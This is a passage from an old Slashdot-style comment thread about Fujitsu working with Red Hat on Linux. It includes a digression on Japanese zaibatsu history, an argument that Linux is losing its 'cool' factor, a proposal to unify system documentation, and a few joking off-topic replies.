Anonymous Coward | more than 11 years ago | (#5918264)

Just a little background tangent I hope might be enlightening...

Often one gets the impression that all Japanese (mega) corporations are all alike, the monster grade zaibatsu of cyberpunk [alt.cyberpunk] litterature [accanthology.com] . Even Western financial companies gets this wrong; I have gotten badly """researched""" prospectus from my bank on investing in Japan and have seen this many other places.

That is not quite the case.

Up to WWII zaibatsu (no plural "S" in Japanese...) were a damper on initiative; many thought that if X was a good idea the zaibatsu would have been doing it already; hence it had to be a bad idea. Enter the US, opening the country with the subtlety on a can-opener. One of the things they succeeded in for a long while was to break up the zaibatsu as an anti trust measure and then you got the right ecology for the new generation fast acting, innovative companies like Sony and Fujitsu.

OK, so the parts of the zaibatsu merged, terminator 2 style (though with more subtlety) and they are more or less back...

Anyway, Fujitsu is and remains a company that wants to cultivate innovation and actually goes so far as to say they want people outside the concensus-building norm of Japan. They have openings for foreigners and in spite of current financial climate might very well be an opportunity for sending in a job application to for non-Japanese.

So seeing them wanting to enter the world of Linux, deep end, is then no surprise.

Red. Hat. Say it with me. (0, Offtopic)

Mondorescue (652638) | more than 11 years ago | (#5918355)

I'm not a member of the CommunistParty, I didn't vote for GeorgeBush and I am undecided on the subject of AffirmativeAction. If you're going to run words together to make NewOnes, try to do it with a SenseOfStyle.

DeathToArmorica!

Why this is the best news all week (4, Interesting)

ajs (35943) | more than 11 years ago | (#5918573)

Linux is starting to suffer a fate that I feared was coming for a long time. It's no longer cool.

It was, for a time, cool to run Linux because it was the only fully POSIX (depending on how rigorous your POSIX definition was) OS for home computers that had all of the usual bells and whistles (X, GNU tools, etc) that also had freely available source.

386BSD came along at about the same time, but was really only usable a bit after Linux so Linux got a bit of a mind-share head start (otherwise we'd all be running one of the BSDs by now).

Today, progress on Mach still continues under Darwin; HURD is moving to a new Microkernel that's much smaller and "hipper"; Open/NetBSD have adopted a very promising new VM model; and worst of all (in terms of Linux's geek appeal) Linux is a massive corporate success in dozens of large niches.

This is a huge win for the Free Software cause, but for Linux it means that the now super-broad OS is starting to show its faults. There are very few people who currently seem to be thinking about the big picture in terms of how the whole OS works in any given incarnation. Worse, the hack-value of making the bettter diver for hardware XYZ has reduced significantly, and most of the kernel work I see happening is not on tuning older drivers for new versions so much as incorporating brand new and interesting hardware, or working on kernel-wide systems like VM, security or scheduling

Red Hat's partnership with hardware companies like Fujitsu (maker of laptops, hard drives and more) is excellent because it brings the hardware vendors to the table to pick up some of that slack and frees Red Hat developers to focus on the big picture. Much as they've taken heat for it, RH has done a lot of good in thinking of the dekstop as a whole rather than as a potential spot to plug in vendors A, B or C (or should I say G, K or W). What they need to do now is keep moving down the chain. Standardize all of the system documentation on ONE format and convert everything to it (personally, I recommend a modified POD, which is what Perl uses, and could easily be modified to produce useful texi and Gnome SGML, while it already produces man, text and HTML). IMHO "man foo" and "info foo" and bringing up the Gnome help viewer should all give access in one, consistent (though UI-distinct) way with the same, complete documentation. Why isn't that the case? Because no one has time to work at that level (Kudos to the LFS people for taking up my challenge on that point last week, and starting to work on a port of the OpenBSD man pages to the Linux tools!)

Linux and communism (2, Funny)

ExEleven (601282) | more than 11 years ago | (#5918809)

Linux is becoming quite a communism magnet isnt it.
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